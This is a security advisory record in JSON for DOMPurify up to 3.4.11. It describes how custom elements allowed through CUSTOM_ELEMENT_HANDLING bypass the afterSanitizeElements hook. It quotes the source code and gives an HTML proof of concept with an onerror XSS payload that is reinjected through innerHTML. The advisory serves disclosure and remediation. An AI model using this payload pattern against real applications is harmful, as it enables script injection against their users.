{"id":"GHSA-c2j3-45gr-mqc4","summary":"DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.","details":"## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&\n      cfg.CUSTOM_ELEMENT_HANDLING &&\n      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'\n        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n        : create(null);\n\n    CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n    if (\n      FORBID_TAGS[tagName] ||\n      (!(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n      ) &&\n        !ALLOWED_TAGS[tagName])\n    ) {\n      return _sanitizeDisallowedNode(currentNode, tagName);\n    }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning “do not remove this node”.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n       nodeType getter rather than `instanceof Element`, which is realm-\n       bound and short-circuits to false for any node minted in a different\n       realm — letting a foreign-realm element with a forbidden namespace\n       slip past the namespace check entirely. */\n    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don't get fallback-tag mXSS */\n    if (\n      (tagName === 'noscript' ||\n        tagName === 'noembed' ||\n        tagName === 'noframes') &&\n      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n    ) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n   /* Execute a hook if present */\n    _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\"\u003e\n  \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n  connectedCallback() {\n    const bio = this.getAttribute(\"data-bio\");\n    if (bio) this.innerHTML = bio;\n  }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n  if (node.hasAttribute && node.hasAttribute(\"data-bio\")) {\n    node.removeAttribute(\"data-bio\");\n  }\n});\n\nconst config = {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: /^x-/\n  }\n};\n\nconst controlInput =\n  '\u003cdiv data-bio=\"<img src=x onerror=window.__controlFired=true>\"\u003e\u003c/div\u003e';\n\nconst candidateInput =\n  '\u003cx-bio data-bio=\"<img src=x onerror=window.__candidateFired=true>\"\u003e\u003c/x-bio\u003e';\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n  document.getElementById(\"result\").textContent =\n    \"This is not direct DOMPurify XSS.\\n\" +\n    \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n    \"control: \" + cleanControl + \"\\n\" +\n    \"candidate: \" + cleanCandidate + \"\\n\" +\n    \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n    \"control fired: \" + window.__controlFired + \"\\n\" +\n    \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.","aliases":["CVE-2026-66010"],"modified":"2026-07-25T04:07:20.145578125Z","published":"2026-07-21T19:41:07Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-07-21T19:41:07Z","nvd_published_at":null,"cwe_ids":["CWE-184","CWE-693","CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/pull/1537"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.12"}],"affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-c2j3-45gr-mqc4/GHSA-c2j3-45gr-mqc4.json","last_known_affected_version_range":"\u003c= 3.4.11"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}